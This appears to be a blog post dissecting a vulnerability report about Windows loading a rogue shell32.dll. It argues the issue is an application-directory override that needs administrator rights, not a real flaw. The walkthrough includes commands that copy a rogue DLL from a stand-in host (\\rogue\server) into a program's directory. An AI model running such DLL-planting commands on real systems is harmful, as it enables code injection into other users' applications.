\nWe received a security vulnerability report that went roughly like this:\n<\/p>\n
\nThere is a security vulnerability in the X component.\nIt loads
shell32.dll<\/code> from the current directory,\nthereby making it vulnerable to a current directory attack.\nHere is a sample program that illustrates the problem.\nCopy a rogueshell32.dll<\/code> into the current directory\nand run the program.\nObserve that the rogue\nshell32.dll<\/code> is loaded instead of the system one.\n<\/p><\/blockquote>\n\nIf you actually followed the instructions,\nwhat you saw depended on your definition of “run the program.”\nLet’s assume that the program has been placed in the directory\n
C:\\sample\\sample.exe<\/code>.\n<\/p>\n\n
- Setting the current directory to the application directory.\n
\ncd \/d C:\\sample\ncopy \\\\rogue\\server\\shell32.dll\nc:\\sample\\sample.exe\n<\/pre>\nIn this case, the attack succeeds.<\/p>\n
- Setting the current directory to an unrelated directory.\n
\ncd \/d %USERPROFILE%\ncopy \\\\rogue\\server\\shell32.dll\nc:\\sample\\sample.exe\n<\/pre>\nIn this case, the attack fails.<\/p>\n
- Running the application from Explorer.\n
\ncopy \\\\rogue\\server\\shell32.dll C:\\sample\ndouble-click sample.exe in Explorer<\/i>\n<\/pre>\nIn this case, the attack succeeds.\n<\/ol>\n
\nLet’s look at case 3 first.\nIn case 3, what is the current directory?\nWhen you launch a program from Explorer,\n\nthe current directory is set to the directory of the thing\nyou double-clicked<\/a>.\nTherefore, case 3 is identical to case 1.\nThat’s one less case to have to study.\n<\/p>\n
\nWe also see that the attack\nis not strictly a current directory attack,\nbecause the attack failed in case 2\neven though a rogue
shell32.dll<\/code> was in the current directory.\n<\/p>\n\nWhat we’re actually seeing is an application directory<\/i> attack.\n<\/p>\n
\nRecall that the application directory is searched ahead of the\nsystem directory.\nTherefore, you can override a file in the system directory\nby putting it in your application directory.\nThis is part of the\n\ndirectory as a bundle<\/i> principle<\/a>.\nIf you packaged a DLL with your application,\nthen presumably that’s the one you want,\neven if a future version of Windows decides to create a DLL of the same name.\n<\/p>\n
\nThe vulnerability report sort of acknowledged that this was\nan application directory attack rather than a current directory\nattack when they explained why this is a serious problem:\n<\/p>\n
\nBy placing a rogue copy of
shell32.dll<\/code> in the\nC:\\Program Files\\Microsoft Office\\Office12<\/code> directory,\nan attacker can inject arbitrary code into all Office applications.\n<\/p><\/blockquote>\n\nIf the attack were really a current directory attack,\nthe attacker would have put a rogue copy of\n
shell32.dll<\/code> in the directory containing your\nExcel spreadsheet, not the directory containing\nEXCEL.EXE<\/code>.\n<\/p>\n\nAnd that’s where you reach the airtight hatchway:\nNormal users do not have write permission into the\n
C:\\Program Files\\Microsoft Office\\Office12<\/code> directory.\nYou need administrator privileges to create files there.\nAnd if you have administrator privileges,\nthen you already pwn the machine.\nIt’s not really a vulnerability that you can do anything you want\nonce you pwn the machine.\n<\/p>\n